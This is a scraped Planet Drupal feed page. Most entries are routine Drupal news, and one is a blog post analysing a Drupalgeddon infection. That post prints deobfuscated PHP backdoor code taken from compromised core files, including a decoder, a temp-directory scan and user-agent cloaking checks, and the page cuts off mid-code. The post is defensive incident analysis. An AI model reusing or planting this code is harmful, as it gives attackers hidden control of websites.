Planet Drupal

Syndicate content
Drupal.org - aggregated feeds in category Planet Drupal
Updated: 3 min 28 sec ago

OpenLucius: Update OpenLucius | April 2016

Tue, 04/19/2016 - 11:20
div class=field field-name-body field-type-text-with-summary field-label-hiddendiv class=field-itemsdiv class=field-item evenpstrongThe past month we have processed again a lot of feedback and improved a href=http://drupal.org/project/openluciusOpenLucius/a, a Drupal social intranet. Below the improvements that have been made yesterday:/strong/p h21. Navigation text documents better and faster/h2 pWe noticed that the navigation of text documents was loading slowly - when placing a lot of text documents (100+) in a group. This is now loaded with a different technique that makes everything much quicker./p pimg src=http://blog.openlucius.com/sites/default/files/drupal-intranet-text-docs-index_0.jpg width=775 height=609 alt= class=img-responsive //p pWe also addressed the navigation to sub-pages (1): this is now more intuitive, faster and mobile usable. Finally, we placed a search feature above (2), so you can find/filter documents quickly./p pa href=http://help.openlucius.com/manual/text-documentsRead more about text documents /a/p h22. Hide comments/h2 pimg src=http://blog.openlucius.com/sites/default/files/drupal-intranet-folding-comments.jpg width=1280 height=1212 alt= class=img-responsive //p pWe received a lot of feedback that a page with many comments was becoming unnecessarily long and cluttered. We solved this by hiding comments - just like Gmail does. Hidden comments can easily be shown again./p h23. Improved status updates/h2 /div/div/div

DrupalCon News: Think you’re a Drupal genius? Prove it at DrupalCon.

Mon, 04/18/2016 - 23:13
div class=field field--name-body field--type-text-with-summary field--label-hiddendiv class=field__itemsdiv class=field__item evenp style=line-height: 20.8px;Do you know EVERYTHING about Drupal?nbsp;a href=https://www.palantir.net/Palantir.net/anbsp;is sponsoring a Trivia Night at DrupalCon, and this is your chance to prove you're a Drupal mastermind./p /div/div/div

Advomatic: How do I manage the security of my Drupal 6 site?

Mon, 04/18/2016 - 22:23
pIn our last post we talked about how the Drupal Community is supporting Drupal 6 after its end-of-life and what that means for your Drupal 6 site.  In this post we’ll get a bit more technical and talk about what exactly you need to do to keep your website up to date. Step #1: Getting... a class=excerpt-read-more href=https://www.advomatic.com/blog/how-do-i-manage-the-security-of-my-drupal-6-site title=ReadHow do I manage the security of my Drupal 6 site?Read more #187;/a/p pThe post a rel=nofollow href=https://www.advomatic.com/blog/how-do-i-manage-the-security-of-my-drupal-6-siteHow do I manage the security of my Drupal 6 site?/a appeared first on a rel=nofollow href=https://www.advomatic.comAdvomatic/a./p

Chapter Three: Custom RESTful API in Drupal 8

Mon, 04/18/2016 - 21:25
pimg alt=Drupal 8 RESTful API data-entity-type=file data-entity-uuid=922e4f76-062d-49a8-8a16-2220405d41d1 src=/sites/default/files/inline-images/restful.jpg class=align-right /This is a very simple module that demonstrates implementation of a custom RESTful API in Drupal 8. Creating your own API with Drupal 8 has become a routine task that doesn't require a lot of work. However there are a lot of things I am not covering in this blog post, such as user login and user registration etc.../p pYou could also look into strong Rest/strong module (in core) to see how to use it's plugin API to extend core rest functionality./p pI use stronga href=https://www.getpostman.com/ target=_blankPostman/a/strong to test my API endpoints (this is an app that allows you to send POST/GET/PUT/DELETE etc.. requests and see API response)./p pTest API module (test_api.module) contains the following files:/p

Bluespark Labs: DrupalCon 2016: New Orleans

Mon, 04/18/2016 - 21:11
div class=field field-name-body field-type-text-with-summary field-label-hiddendiv class=field-itemsdiv class=field-item even pimg alt=DrupalCon 2016 New Orleans Emblem src=http://www.bluespark.com/files/resources/nola_emblem_thumb_0.gif / nbsp;/p pDrupalCon 2016 will be held in New Orleans this year from May 9th-13th. Bluespark will be attending in force with at least thirteen team members. We are looking forward to reconnecting with old friends and meeting new ones! We have a few different areas where we are contributing to the DrupalCon event, including our booth and lounge sponsorship and some talks we are giving. In addition to the more serious contributions, we have some fun up our sleeves this year!/p h3strongThe Booth/strong/h3 pThis year we have a booth close to one of the coffee spots, booth number 725. This year, we have a project planning booklet that we think will be both fun and helpful to fill out for people hoping to launch a project in the future, or revisit some of their initial assumptions when they built their site. We have a number of experts who will be available at our booth to discuss anything from project and business strategy and planning to usability strategy and user testing to Drupal 7 amp; 8 development./p h3strongThe Voodoo Lounge/strong/h3 pstrongimg alt= src=http://www.bluespark.com/files/resources/voodoo_image_centered.gif //strong/p pWe are sponsoring a lounge this year, which is an area where anyone weary of the journey or excited about playing anynbsp;the many games we will have available can camp out and rest their legs for a while. We have a whole contest built around a couple of the games there too, so it’s possible to win prizes while you’re having fun!/p h3strongThe Contest (and Prizes)/strong/h3 pA couple of the games at The Voodoo Lounge will have contests you can enter which will make for some fun. One of the games has to do with creating funny newspaper headlines that will have everyone rolling. The other one has everyone building a creative machine. We’ll be offering a prize for the best contestant for each game on Tuesday-Thursday: a $100 Amazon gift card and a Bluespark shirt. nbsp;/p h3strongInformation on DrupalCon 2016: New Orleans/strong/h3 pFor more information on DrupalCon 2016, visit the official web page: a href=https://events.drupal.org/neworleans2016https://events.drupal.org/neworleans2016/a./p pnbsp;/p /div/div/divdiv class=field field-name-field-blog-tags field-type-taxonomy-term-reference field-label-abovediv class=field-labelTags:nbsp;/divdiv class=field-itemsdiv class=field-item evena href=/blog/drupal-planetDrupal Planet/a/divdiv class=field-item odda href=/blog/drupalcon-2016DrupalCon 2016/a/div/div/divdiv class=field field-name-field-resources field-type-file field-label-abovediv class=field-labelResources:nbsp;/divdiv class=field-itemsdiv class=field-item evenspan class=fileimg class=file-icon alt= title=image/gif src=/modules/file/icons/image-x-generic.png / a href=http://www.bluespark.com/files/resources/voodoo_image_centered.gif type=image/gif; length=41144voodoo_image_centered.gif/a/span/divdiv class=field-item oddspan class=fileimg class=file-icon alt= title=image/gif src=/modules/file/icons/image-x-generic.png / a href=http://www.bluespark.com/files/resources/nola_emblem_thumb_0.gif type=image/gif; length=23759nola_emblem_thumb.gif/a/span/div/div/div

Metal Toad: Anatomy of a Drupalgeddon attack

Mon, 04/18/2016 - 20:08
span class=field field-node--title field-name-title field-type-string field-label-hidden data-quickedit-field-id=node/1128/title/en/rssAnatomy of a Drupalgeddon attack/span span class=field field-node--created field-name-created field-type-created field-label-hidden data-quickedit-field-id=node/1128/created/en/rssApril 18th, 2016/span span class=field field-node--uid field-name-uid field-type-entity-reference field-label-hidden data-quickedit-field-id=node/1128/uid/en/rss a title=View user profile. href=/user/1988 lang= about=/user/1988 typeof=schema:Person property=schema:name datatype=Mike Purvis/a/span div class=field field-node--body field-name-body field-type-text-with-summary field-label-hidden data-quickedit-field-id=node/1128/body/en/rss div class=field-items div class=field-itempBefore working at Metal Toad, I saw an email from Acquia. A strange email./p pIt went something like this: /p blockquotepOn October 15th, we will be addressing a security concern at 9:00 am./p /blockquote pHmm. That's interesting. I don't remember getting an email about security updates like this. As with any CMS, there are constant security updates as new (and sometimes exotic) vulnerabilities are found. /p pSure enough, the day came. I remember reading an article afterwards. That article said if you did not update to Drupal 7.32 within the first 7 hours of the announcement, consider yourself hacked./p pThe actual patch for Drupal core a href=https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch target=_blankis available here/a, and shows that it's literally a one-liner./p pWe (not Metal Toad) actually found Wordpress sites that were hacked with Drupalgeddon. In a moment I'll paste the deobfuscated code. But that code essentially opens the availability to execute external PHP code. That code came from somewhere else; from the hackers. I'm afraid I can't say exactly what was happening there, but the executed code was able to traverse parent directories, discover new docroots, and infect CMS'es within reach. In my experience we saw Wordpress and Drupal 6 sites infected from an exploit that existed in Drupal 7./p pI've been reading some other blogs regarding Drupalgeddon, and those seem to affect the strongmenu_router/strong table. I did not experience that particular exploit flavor. I haven't seen anyone cover the exploit that I experienced, so I'll cover it./p pEssentially, the first line of these files were modified:/p ulliindex.php/li liincludes/bootstrap.inc/li liincludes/database.inc/li /ulpAfter the opening span class=geshifiltercode class=text geshifilter-textlt;?php /code/span tag, there is a lot of whitespace before the gibberish begins./p pWhy whitespace? At the time when Drupalgeddon was upon us, I was viewing these files in an IDE that used word-wrapping. I didn't really understand why there was white space./p pHowever, when I ssh'ed into the server and used strongvi/strong on the command line, all the code is essentially invisible unless you have the gumption to press End on the first line, or Right arrow a few dozen times. (Or perhaps you could see the gibberish if you had a really, really big monitor, and your terminal was full screen.)/p pSmart./p pI will not post the gibberish code that I mentioned earlier. It's too lengthy and, in itself, it's incomprehensible./p pI did, however, successfully decode the execution code, which I'll share in a second./p pBut first, what was this gibberish code? It was a href=http://php.net/manual/en/function.base64-encode.php target=_blankbase64_encode/ad. Five times. So the function name is scrambled, the actual contents are base64 encoded, that is base64 encoded, that is base64 encoded, that is... you get the idea./p pAfter you decode this, multiple times, we have this: (Note: you'll have to scroll down a bit for my final thoughts)/p p /pdiv class=geshifilter div class=php geshifilter-php style=font-family:monospace; pre style=font-family: monospace; font-weight: normal; font-style: normalspan style=color: #000000; font-weight: bold;lt;?php/span a href=http://www.php.net/error_reportingspan style=color: #990000;error_reporting/span/aspan style=color: #009900;(/spanspan style=color: #cc66cc;0/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;ZM5j2q0shf_pirogok/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span ZM5j2q0shf_pirogokspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;return/span span style=color: #009900; font-weight: bold;false/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;Uno_decode/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span Uno_decodespan style=color: #009900;(/spanspan style=color: #000088;$String/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$String/span span style=color: #339933;=/span a href=http://www.php.net/base64_decodespan style=color: #990000;base64_decode/span/aspan style=color: #009900;(/spanspan style=color: #000088;$String/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$Salt/spanspan style=color: #339933;=/spanspan style=color: #0000ff;dc5p9dOpBc/spanspan style=color: #339933;;/span span style=color: #000088;$StrLen/span span style=color: #339933;=/span a href=http://www.php.net/strlenspan style=color: #990000;strlen/span/aspan style=color: #009900;(/spanspan style=color: #000088;$String/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$Seq/span span style=color: #339933;=/span span style=color: #0000ff;DMEf5HZuPq/spanspan style=color: #339933;;/span span style=color: #000088;$Gamma/span span style=color: #339933;=/span span style=color: #0000ff;/spanspan style=color: #339933;;/span span style=color: #b1b100;while/span span style=color: #009900;(/spana href=http://www.php.net/strlenspan style=color: #990000;strlen/span/aspan style=color: #009900;(/spanspan style=color: #000088;$Gamma/spanspan style=color: #009900;)/spanspan style=color: #339933;lt;/spanspan style=color: #000088;$StrLen/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$Seq/span span style=color: #339933;=/span a href=http://www.php.net/packspan style=color: #990000;pack/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;H*/spanspan style=color: #339933;,/spana href=http://www.php.net/sha1span style=color: #990000;sha1/span/aspan style=color: #009900;(/spanspan style=color: #000088;$Gamma/spanspan style=color: #339933;./spanspan style=color: #000088;$Seq/spanspan style=color: #339933;./spanspan style=color: #000088;$Salt/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$Gamma/spanspan style=color: #339933;.=/spana href=http://www.php.net/substrspan style=color: #990000;substr/span/aspan style=color: #009900;(/spanspan style=color: #000088;$Seq/spanspan style=color: #339933;,/spanspan style=color: #cc66cc;0/spanspan style=color: #339933;,/spanspan style=color: #cc66cc;8/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;return/span span style=color: #000088;$String/span^span style=color: #000088;$Gamma/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;get_t_dir_mass/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span get_t_dir_massspan style=color: #009900;(/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;if/span span style=color: #009900;(/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;sys_get_temp_dir/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/sys_get_temp_dirspan style=color: #990000;sys_get_temp_dir/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$res/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/sys_get_temp_dirspan style=color: #990000;sys_get_temp_dir/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/emptyspan style=color: #990000;empty/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/span span style=color: #339933;amp;amp;/span span style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$res/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/emptyspan style=color: #990000;empty/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMPDIR/spanspan style=color: #009900;]/spanspan style=color: #009900;)/span span style=color: #339933;amp;amp;/span span style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMPDIR/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$res/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/span span style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMPDIR/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/emptyspan style=color: #990000;empty/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TEMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/span span style=color: #339933;amp;amp;/span span style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TEMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$res/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/span span style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TEMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #000088;$tempfile/spanspan style=color: #339933;=@/spana href=http://www.php.net/tempnamspan style=color: #990000;tempnam/span/aspan style=color: #009900;(/spanspan style=color: #009900; font-weight: bold;__FILE__/spanspan style=color: #339933;,/spanspan style=color: #0000ff;/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/file_existsspan style=color: #990000;file_exists/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tempfile/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #339933;@/spana href=http://www.php.net/unlinkspan style=color: #990000;unlink/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tempfile/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/dirnamespan style=color: #990000;dirname/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tempfile/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$res/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/dirnamespan style=color: #990000;dirname/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tempfile/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/ini_getspan style=color: #990000;ini_get/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;upload_tmp_dir/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$res/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/ini_getspan style=color: #990000;ini_get/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;upload_tmp_dir/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/session_save_pathspan style=color: #990000;session_save_path/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$res/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/session_save_pathspan style=color: #990000;session_save_path/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/dirnamespan style=color: #990000;dirname/span/aspan style=color: #009900;(/spanspan style=color: #009900; font-weight: bold;__FILE__/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$res/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/dirnamespan style=color: #990000;dirname/span/aspan style=color: #009900;(/spanspan style=color: #009900; font-weight: bold;__FILE__/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;return/span a href=http://www.php.net/array_uniquespan style=color: #990000;array_unique/span/aspan style=color: #009900;(/spanspan style=color: #000088;$res/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span   span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;get_ua/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span get_uaspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$name/span span style=color: #339933;=/span get_true_namespan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;foreach/spanspan style=color: #009900;(/spanget_t_dir_massspan style=color: #009900;(/spanspan style=color: #009900;)/span span style=color: #b1b100;as/span span style=color: #000088;$t/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/file_existsspan style=color: #990000;file_exists/span/aspan style=color: #009900;(/spanspan style=color: #000088;$t/spanspan style=color: #339933;./spanspan style=color: #009900; font-weight: bold;DIRECTORY_SEPARATOR/spanspan style=color: #339933;./spanspan style=color: #000088;$name/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;foreach/span span style=color: #009900;(/spana href=http://www.php.net/filespan style=color: #990000;file/span/aspan style=color: #009900;(/spanspan style=color: #000088;$t/spanspan style=color: #339933;./spanspan style=color: #009900; font-weight: bold;DIRECTORY_SEPARATOR/spanspan style=color: #339933;./spanspan style=color: #000088;$name/spanspan style=color: #009900;)/span span style=color: #b1b100;as/span span style=color: #000088;$tt/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$tt/span span style=color: #339933;=/span Uno_decodespan style=color: #009900;(/spanspan style=color: #000088;$tt/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/strposspan style=color: #990000;strpos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tt/spanspan style=color: #339933;,/spanspan style=color: #0000ff;./spanspan style=color: #009900;)/span span style=color: #339933;===/span span style=color: #009900; font-weight: bold;false/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$tmp/span span style=color: #339933;=/span a href=http://www.php.net/explodespan style=color: #990000;explode/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;|/spanspan style=color: #339933;,/spanspan style=color: #000088;$tt/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;foreach/spanspan style=color: #009900;(/spanspan style=color: #000088;$tmp/span span style=color: #b1b100;as/span span style=color: #000088;$u/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$know/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/trimspan style=color: #990000;trim/span/aspan style=color: #009900;(/spanspan style=color: #000088;$u/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/countspan style=color: #990000;count/span/aspan style=color: #009900;(/spanspan style=color: #000088;$know/spanspan style=color: #009900;)/span span style=color: #339933;==/span span style=color: #cc66cc;0/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$know/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span span style=color: #0000ff;msie/spanspan style=color: #339933;;/span span style=color: #000088;$know/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span span style=color: #0000ff;firefox/spanspan style=color: #339933;;/span span style=color: #000088;$know/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span span style=color: #0000ff;googlebot/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;return/span a href=http://www.php.net/array_uniquespan style=color: #990000;array_unique/span/aspan style=color: #009900;(/spanspan style=color: #000088;$know/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span   span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;get_true_name/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span get_true_namespan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;return/span span style=color: #0000ff;.backup_time/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span   span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;strposa/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span strposaspan style=color: #009900;(/spanspan style=color: #000088;$haystack/spanspan style=color: #339933;,/span span style=color: #000088;$needle/spanspan style=color: #339933;,/span span style=color: #000088;$offset/spanspan style=color: #339933;=/spanspan style=color: #cc66cc;0/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/is_arrayspan style=color: #990000;is_array/span/aspan style=color: #009900;(/spanspan style=color: #000088;$needle/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #000088;$needle/span span style=color: #339933;=/span a href=http://www.php.net/arrayspan style=color: #990000;array/span/aspan style=color: #009900;(/spanspan style=color: #000088;$needle/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;foreach/spanspan style=color: #009900;(/spanspan style=color: #000088;$needle/span span style=color: #b1b100;as/span span style=color: #000088;$query/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/strposspan style=color: #990000;strpos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$haystack/spanspan style=color: #339933;,/span span style=color: #000088;$query/spanspan style=color: #339933;,/span span style=color: #000088;$offset/spanspan style=color: #009900;)/span span style=color: #339933;!==/span span style=color: #009900; font-weight: bold;false/spanspan style=color: #009900;)/span span style=color: #b1b100;return/span span style=color: #009900; font-weight: bold;true/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;return/span span style=color: #009900; font-weight: bold;false/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span   span style=color: #b1b100;if/span span style=color: #009900;(/spana href=http://www.php.net/issetspan style=color: #990000;isset/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #0000ff;HTTP_USER_AGENT/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$ua/span span style=color: #339933;=/span a href=http://www.php.net/strtolowerspan style=color: #990000;strtolower/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #0000ff;HTTP_USER_AGENT/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$true_ua/span span style=color: #339933;=/span get_uaspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span 